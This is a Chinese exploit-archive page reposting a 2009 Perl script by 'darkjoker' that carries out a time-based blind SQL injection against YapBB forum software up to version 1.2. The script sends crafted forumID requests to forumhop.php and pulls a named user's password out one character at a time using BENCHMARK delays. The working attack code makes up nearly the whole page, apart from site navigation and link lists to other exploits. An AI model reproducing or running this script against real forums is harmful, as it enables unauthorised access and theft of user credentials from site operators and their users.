首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
YapBB <= 1.2 (forumID) Blind SQL Injection Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-02-05  
--+++======================================================+++--
--+++====== YapBB <= 1.2 Blind SQL Injection Exploit ======+++--
--+++======================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage
{
die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
    "\n[?] Author  : darkjoker".
    "\n[?] Site    : http://darkjoker.net23.net".
    "\n[?] CMS Site: http://yapbb.sourceforge.net/".
    "\n[?] Usage   : perl ${0} <hostname> <path> <username> [<key_list>]".
    "\n[?] Ex.     : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
    "\n\n";
}

sub query
{
my ($user, $chr, $pos) = @_;
my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
"forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)";
$query =~ s/ /%20/g;
$query =~ s/'/%27/g;
return $query;
}

sub exploit
{
my ($hostname, $path, $user, $chr, $pos) = @_;
$chr = ord ($chr);
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto    => "tcp"
) or die "\n[!] Exploit failed.\n\n";

my $query = query ($user, $chr, $pos);
my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
      "Host: ${hostname}\r\n".
      "Connection: Close\r\n\r\n";

my $a = time ();
print $sock $request;
$_++ while (<$sock>);
$a = ($a - time ()) * -1;
close ($sock);

return 1 if ($a > 4);
return 0;
}

my ($hostname, $path, $user, $k_list) = @ARGV;
usage unless ($user);
my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
my $chr = 0;
my $pos = 1;
my $password;
while ($chr < scalar (@key))
{
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
{
$password .= $key [$chr];
$chr = 0;
$pos++;
}
else
{
$chr++;
}
}

print "\n[+] Password: ${password}\n\n";

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHPbbBook 1.3 (bbcode.php l) L
·Novell GroupWise <= 8.0 Malfor
·BlazeVideo HDTV Player <= 3.5
·Free Download Manager 2.5/3.0
·Euphonics Audio Player 1.0 (.p
·Amaya Web Browser 11 (bdo tag)
·Euphonics Audio Player 1.0 (.p
·Amaya Web Browser 11 (bdo tag)
·BlazeVideo HDTV Player version
·LCPlayer proof of concept deni
·Online Game Script cross site
·StreamDown version 6.4.3 local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved